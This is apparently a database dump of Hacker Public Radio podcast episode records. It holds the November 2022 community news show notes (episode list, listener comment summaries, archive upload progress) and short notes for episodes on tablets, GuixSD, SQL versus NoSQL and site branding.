(3741,'2022-12-05','HPR Community News for November 2022',3276,'HPR Volunteers talk about shows released and comments posted in November 2022','<style>\ntable td.shrink {\n white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n <a href=\"https://hackerpublicradio.org/correspondents/0414.html\" target=\"_blank\">Kinghezy</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3717\" target=\"_blank\">3717</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-11-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3717\" target=\"_blank\">Video editing with Shotcut on a low end PC</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0201.html\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3718\" target=\"_blank\">3718</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-11-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3718\" target=\"_blank\">Making Ansible playbooks to configure Single Sign On for popular open source applications</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0369.html\" target=\"_blank\">Jeroen Baten</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3719\" target=\"_blank\">3719</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-11-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3719\" target=\"_blank\">HPR News</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3720\" target=\"_blank\">3720</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-11-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3720\" target=\"_blank\">Practicing Batch Files With ECHO</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3721\" target=\"_blank\">3721</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-11-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3721\" target=\"_blank\">HPR Community News for October 2022</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3722\" target=\"_blank\">3722</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-11-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3722\" target=\"_blank\">Bash snippet - plurals in messages</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0225.html\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3723\" target=\"_blank\">3723</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-11-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3723\" target=\"_blank\">HPR News</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3724\" target=\"_blank\">3724</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-11-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3724\" target=\"_blank\">My top Android apps</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0318.html\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3725\" target=\"_blank\">3725</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-11-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3725\" target=\"_blank\">How to use OSMAnd with Public Transport </a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0030.html\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3726\" target=\"_blank\">3726</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-11-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3726\" target=\"_blank\">Breaches ever reaching</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0405.html\" target=\"_blank\">Lurking Prion</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3727\" target=\"_blank\">3727</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-11-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3727\" target=\"_blank\">Expanding your filesystem with LVM</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0293.html\" target=\"_blank\">Rho`n</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3728\" target=\"_blank\">3728</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-11-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3728\" target=\"_blank\">Pinebook Pro review</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0406.html\" target=\"_blank\">binrc</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3729\" target=\"_blank\">3729</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-11-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3729\" target=\"_blank\">Contributing to SuperTuxKart</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0407.html\" target=\"_blank\">Celeste</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3730\" target=\"_blank\">3730</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-11-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3730\" target=\"_blank\">Into Arizona</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3731\" target=\"_blank\">3731</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-11-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3731\" target=\"_blank\">Speech recognition in Kdenlive</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3732\" target=\"_blank\">3732</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-11-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3732\" target=\"_blank\">My experience owning an Atari Jaguar</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0412.html\" target=\"_blank\">m0dese7en</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3733\" target=\"_blank\">3733</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-11-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3733\" target=\"_blank\">Smite</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3734\" target=\"_blank\">3734</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-11-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3734\" target=\"_blank\">Inetd: the internet super-server</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0406.html\" target=\"_blank\">binrc</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3735\" target=\"_blank\">3735</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-11-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3735\" target=\"_blank\">i3 Tiling Window Manager</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0318.html\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3736\" target=\"_blank\">3736</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-11-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3736\" target=\"_blank\">Metasyntactic words</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3737\" target=\"_blank\">3737</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-11-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3737\" target=\"_blank\">Review of KOBO Libra H20 e-reader</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0293.html\" target=\"_blank\">Rho`n</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3738\" target=\"_blank\">3738</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-11-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3738\" target=\"_blank\">Intro to KMyMoney</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0414.html\" target=\"_blank\">Kinghezy</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 25 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 6 comments on\n5 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3698#comments\" target=\"_blank\">hpr3698</a></strong>\n(2022-10-05) \"<em>Spectrogram</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3698#2\" target=\"_blank\">Comment 2</a>:\nMrX on 2022-11-04:\n\"What a great tip\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3705#comments\" target=\"_blank\">hpr3705</a></strong>\n(2022-10-14) \"<em>The Year of the FreeBSD Desktop</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0406.html\" target=\"_blank\">binrc</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3705#3\" target=\"_blank\">Comment 3</a>:\nbinrc on 2022-11-03:\n\"additional links\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3711#comments\" target=\"_blank\">hpr3711</a></strong>\n(2022-10-24) \"<em>Cars</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0377.html\" target=\"_blank\">Zen_Floater2</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3711#2\" target=\"_blank\">Comment 2</a>:\ndnt on 2022-11-09:\n\"pedestrians and cyclists\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3714#comments\" target=\"_blank\">hpr3714</a></strong>\n(2022-10-27) \"<em>The News with Some Guy On the Internet</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3714#5\" target=\"_blank\">Comment 5</a>:\nDave Morriss on 2022-11-02:\n\"Beautifully done!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3715#comments\" target=\"_blank\">hpr3715</a></strong>\n(2022-10-28) \"<em>Secret hat conversations, Part 2.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3715#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2022-11-02:\n\"A very interesting discussion\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3715#4\" target=\"_blank\">Comment 4</a>:\nDeepGeek on 2022-11-03:\n\"Phone, Tiling wm,\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 19 comments on 12 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3719#comments\" target=\"_blank\">hpr3719</a></strong>\n(2022-11-03) \"<em>HPR News</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3719#1\" target=\"_blank\">Comment 1</a>:\nmike M. on 2022-11-04:\n\"Another form of typosquatting\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3721#comments\" target=\"_blank\">hpr3721</a></strong>\n(2022-11-07) \"<em>HPR Community News for October 2022</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3721#1\" target=\"_blank\">Comment 1</a>:\nArcher72 on 2022-11-07:\n\"Weirdos\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3722#comments\" target=\"_blank\">hpr3722</a></strong>\n(2022-11-08) \"<em>Bash snippet - plurals in messages</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0225.html\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3722#1\" target=\"_blank\">Comment 1</a>:\nrho`n on 2022-11-11:\n\"Great tip!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3722#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2022-11-16:\n\"Thanks rho`n\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3725#comments\" target=\"_blank\">hpr3725</a></strong>\n(2022-11-11) \"<em>How to use OSMAnd with Public Transport </em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0030.html\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3725#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2022-11-14:\n\"Useful and timely\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3726#comments\" target=\"_blank\">hpr3726</a></strong>\n(2022-11-14) \"<em>Breaches ever reaching</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0405.html\" target=\"_blank\">Lurking Prion</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3726#1\" target=\"_blank\">Comment 1</a>:\nhammerron on 2022-11-15:\n\"Old LiveJournal\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3727#comments\" target=\"_blank\">hpr3727</a></strong>\n(2022-11-15) \"<em>Expanding your filesystem with LVM</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0293.html\" target=\"_blank\">Rho`n</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3727#1\" target=\"_blank\">Comment 1</a>:\nZen_floater2 on 2022-11-18:\n\"Love server problems\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3728#comments\" target=\"_blank\">hpr3728</a></strong>\n(2022-11-16) \"<em>Pinebook Pro review</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0406.html\" target=\"_blank\">binrc</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3728#1\" target=\"_blank\">Comment 1</a>:\nZen_floater2 on 2022-11-18:\n\"I liked this show.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3728#2\" target=\"_blank\">Comment 2</a>:\none_of_spoons on 2022-11-21:\n\"Programmable ROM.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3728#3\" target=\"_blank\">Comment 3</a>:\nb on 2022-11-24:\n\"rockchip\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3728#4\" target=\"_blank\">Comment 4</a>:\nsunzu on 2022-11-26:\n\"available distros\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3729#comments\" target=\"_blank\">hpr3729</a></strong>\n(2022-11-17) \"<em>Contributing to SuperTuxKart</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0407.html\" target=\"_blank\">Celeste</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3729#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2022-11-17:\n\"Car rambling\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3730#comments\" target=\"_blank\">hpr3730</a></strong>\n(2022-11-18) \"<em>Into Arizona</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3730#1\" target=\"_blank\">Comment 1</a>:\nClinton Roy on 2022-11-19:\n\"Dam?\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3731#comments\" target=\"_blank\">hpr3731</a></strong>\n(2022-11-21) \"<em>Speech recognition in Kdenlive</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3731#1\" target=\"_blank\">Comment 1</a>:\nCeleste on 2022-11-21:\n\"didn\'t know the feature\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3731#2\" target=\"_blank\">Comment 2</a>:\ndnt on 2022-11-22:\n\"re: both libre/opensource\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3733#comments\" target=\"_blank\">hpr3733</a></strong>\n(2022-11-23) \"<em>Smite</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3733#1\" target=\"_blank\">Comment 1</a>:\nLurking Prion on 2022-11-23:\n\"Let\'s do a show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3733#2\" target=\"_blank\">Comment 2</a>:\nSome Guy On The Internet on 2022-11-24:\n\"Sure\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3734#comments\" target=\"_blank\">hpr3734</a></strong>\n(2022-11-24) \"<em>Inetd: the internet super-server</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0406.html\" target=\"_blank\">binrc</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3734#1\" target=\"_blank\">Comment 1</a>:\nsinza on 2022-11-24:\n\"Great show!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3734#2\" target=\"_blank\">Comment 2</a>:\nZen_floater2 on 2022-11-27:\n\"loved this\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-November/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-November/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"hpr-rss-feeds-and-https-links\">HPR RSS feeds and https\nlinks</h3>\n<p>A question came up in November regarding the HPR RSS feeds. All of\nthe URLs in these feeds use <code>\'http\'</code> as opposed to\n<code>\'https\'</code>.</p>\n<p>Although this may seem odd, this is a fairly common thing to do,\nbecause the RSS standard (such as it is) does not cater for\n<code>\'https\'</code> links. There is a concern that passing an RSS feed\nwith such links to a validator (such as the <a\nhref=\"https://validator.w3.org/feed/\">W3C Feed Validation Service</a>)\nwill result in it being marked as invalid.</p>\n<h3 id=\"older-hpr-shows-on-archive.org-phase-2\">Older HPR shows on\narchive.org, phase 2</h3>\n<p>Now that all shows from number 1 to the latest have been uploaded to\nthe Internet Archive there are other tasks to perform. We are\nreprocessing and re-uploading shows in the range 871 to 2429 as\nexplained in the Community News show notes released in <a\nhref=\"http://hackerpublicradio.org/eps.php?id=3586#older-hpr-shows-on-archive.org-phase-2\">May\n2022</a>. We are keeping a running total here to show progress:</p>\n<!-- . -->\n<table>\n<tr>\n<th>\nMonth\n</th>\n<th>\nMonth count\n</th>\n<th>\nRunning total\n</th>\n<th>\nRemainder\n</th>\n</tr>\n<tr>\n<td>\n2022-04\n</td>\n<td>\n130\n</td>\n<td>\n130\n</td>\n<td>\n1428\n</td>\n</tr>\n<tr>\n<td>\n2022-05\n</td>\n<td>\n140\n</td>\n<td>\n270\n</td>\n<td>\n1288\n</td>\n</tr>\n<tr>\n<td>\n2022-06\n</td>\n<td>\n150\n</td>\n<td>\n420\n</td>\n<td>\n1138\n</td>\n</tr>\n<tr>\n<td>\n2022-07\n</td>\n<td>\n155\n</td>\n<td>\n575\n</td>\n<td>\n983\n</td>\n</tr>\n<tr>\n<td>\n2022-08\n</td>\n<td>\n155\n</td>\n<td>\n730\n</td>\n<td>\n828\n</td>\n</tr>\n<tr>\n<td>\n2022-09\n</td>\n<td>\n150\n</td>\n<td>\n880\n</td>\n<td>\n678\n</td>\n</tr>\n<tr>\n<td>\n2022-10\n</td>\n<td>\n155\n</td>\n<td>\n1035\n</td>\n<td>\n523\n</td>\n</tr>\n<tr>\n<td>\n2022-11\n</td>\n<td>\n230\n</td>\n<td>\n1265\n</td>\n<td>\n293\n</td>\n</tr>\n</table>\n\n<p><small><small>Updated: 2022-12-03 16:10:11</small></small></p>\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3464,'2021-11-11','Being irrational',777,'Being irrational is rational.','<p>When listening to <a href=\"https://hackerpublicradio.org/eps.php?id=3442\">HPR 3442</a> by Klaatu, which I recommend, some thoughts about how we think started rattling about in my head. In this show I riff on that and talk about the importance of our irrational mode of thought.</p>\r\n',268,0,0,'CC-BY-SA','philosophy,mathematics,science,chess,logic,music',0,0,1),
(3465,'2021-11-12','Walmart Onn 7 inch tablet gen 2',863,'Podcast about a new Android go Tablet I purchased ','<p>Just a basic podcast about a tablet.</p>\r\n<p><a href=\"https://www.walmart.com/ip/onn-7-Tablet/930669857\">https://www.walmart.com/ip/onn-7-Tablet/930669857</a></p>\r\n',129,0,0,'CC-BY-SA','Walmart, Android Go, Tablet',0,0,1),
(3466,'2021-11-15','Why HPR has less downloads',551,'A short summary on why podcast listening might be on decline.','<p>I did a show about why I do not listen to non-mainstream podcasts as much as I used to. For me two things happened: I switched from being in the car for 16 hours a week to being a remote sales person at home. So the 16 hours I listened to podcasts every week in the car went away. The second reason I reduced was that many of the podcasts I was listening to were presented by people who do not share my values. So I stopped listening to them. The third reason I listen less is the Army opened up the online book library to retired service members and I do a lot of audio books in the moment.</p>\r\n',129,0,0,'CC-BY-SA','podcasts, dowloads',0,0,1),
(3469,'2021-11-18','Linux Inlaws S01E43: The Great Battle or not',4138,'The Great Battle nor Not','<p>In this episode Martin and one of the Grumpies (as in Grumpy Old Coders)\r\nbattle it out: SQL or NoSQL - which technology is better? If you ever wondered\r\nwhy the Structured Query Language was invented in the first place and why the\r\nhipster abandoned ship for the latest (?) rage of the likes of the NoSQL\r\nvariety, this is for you. Plus: A whole family of never-heard-of sound effects\r\nmake their debut on this bumper of an episode.</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>SQL: <a href=\"https://www.iso.org/standard/63555.html\" target=_blank>https://www.iso.org/standard/63555.html</a></li>\r\n<li>NoSQL: <a href=\"https://en.wikipedia.org/wiki/NoSQL\" target=_blank>https://en.wikipedia.org/wiki/NoSQL</a></li>\r\n<li>NoSQL Geek: <a href=\"https://www.nosqlgeek.org\" target=_blank>https://www.nosqlgeek.org</a></li>\r\n<li>ACID compliance: <a href=\"https://en.wikipedia.org/wiki/ACID\" target=_blank>https://en.wikipedia.org/wiki/ACID</a></li>\r\n<li>redis: <a href=\"https://github.com/redis/redis\" target=_blank>https://github.com/redis/redis</a></li>\r\n<li>CAP theorem: <a href=\"https://en.wikipedia.org/wiki/CAP_theorem\" target=_blank>https://en.wikipedia.org/wiki/CAP_theorem</a></li>\r\n<li>TorroDB: <a href=\"https://github.com/gordol/torrodb-server\" target=_blank>https://github.com/gordol/torrodb-server</a></li>\r\n<li>Grumpy Old Coders episode on the Dark Side: <a href=\"https://soundcloud.com/user-498377588/grumpy-old-coders-ep-11-the-dark-side\" target=_blank>https://soundcloud.com/user-498377588/grumpy-old-coders-ep-11-the-dark-side</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','SQL, NoSQL, Grumpy Old Coders, Hipster databases, mainframes, Execution planners',0,0,1),
(3448,'2021-10-20','Installing GuixSD',2679,'Rho`n records installing GuixSD to an external USB drive to be run on a Mac Mini computer','<h2>Synopsis</h2>\r\n\r\n<p>In this episode Rho`n records his adventure in installing GuixSD on an external USB drive which will be run on a Mac Mini computer. After overcoming the initial difficulty of finding a keyboard that would connect wirelessly to the Mac Mini while using the Guix installer and some network difficulties, he describes the installation steps.</p>\r\n\r\n<p>Guix has a graphical text based installer. It is reminiscent of the mid to late 90s Debian installers. Even with its old school feel, the installer is very nice. It is well laid out, has good onscreen description for each step of the installation process, and provides ample configuration selections from language, to to key board layout, to desktop and software selection.</p>\r\n\r\n<h2>References</h2>\r\n\r\n<ul>\r\n <li><a href=\"https://guix.gnu.org/\">Guix website</a></li>\r\n <li><a href=\"https://guix.gnu.org/en/manual/en/html_node/System-Installation.html#System-Installation\">Instructions for installing Guix</a> as the main OS</li>\r\n <li><a href=\"https://www.riitek.com/product/k12x.html\">Rii 2.4G Mini Wireless Keyboard with Touchpad Mouse</a>,Lightweight Portable Wireless Keyboard Controller with USB Receiver Remote Control for Windows/ Mac/ Android/ PC/Tablets/ TV/Xbox/ PS3. X1-Black - <a href=\"https://www.amazon.com/gp/product/B00I5SW8MC/ref=ppx_yo_dt_b_asin_title_o04_s00?ie=UTF8&th=1\">EBay item</a></li>\r\n</ul>\r\n\r\n<h2>Attribution</h2>\r\n\r\n<p>The transition sound used between audio clips is found on <a href=\"https://freesound.org/\">freesound.org</a>:<br>\r\nName: <a href=\"https://freesound.org/people/DanJFilms/sounds/529064/\">Harp Transition Music Cue</a><br>\r\nAuthor: <a href=\"https://freesound.org/people/DanJFilms/\">DanJFilms</a><br>\r\nLicense: <a href=\"https://creativecommons.org/publicdomain/zero/1.0/\">Creative Commons Zero</a></p>\r\n',293,0,0,'CC-BY-SA','Guix,GuixSD,installer,install,USB drive,Mac Mini,grub rescue',0,0,1),
(3461,'2021-11-08','Changes to HPR Branding',2441,'Rho\'n, Dave and Ken read the entire email thread related to changing the HPR theme','<p>\r\nWe didn\'t have time to tackle the discussion in last months community news so today we dedicate an entire show to reading out all the comments relating to the HPR Branding.\r\n<br />\r\nSee <a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-October/thread.html\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-October/thread.html</a>\r\n</p>\r\n<p>\r\nYour comments are appreciated !\r\n</p>',159,47,0,'CC-BY-SA','HPR, Branding, Intro, Outro',0,0,1),
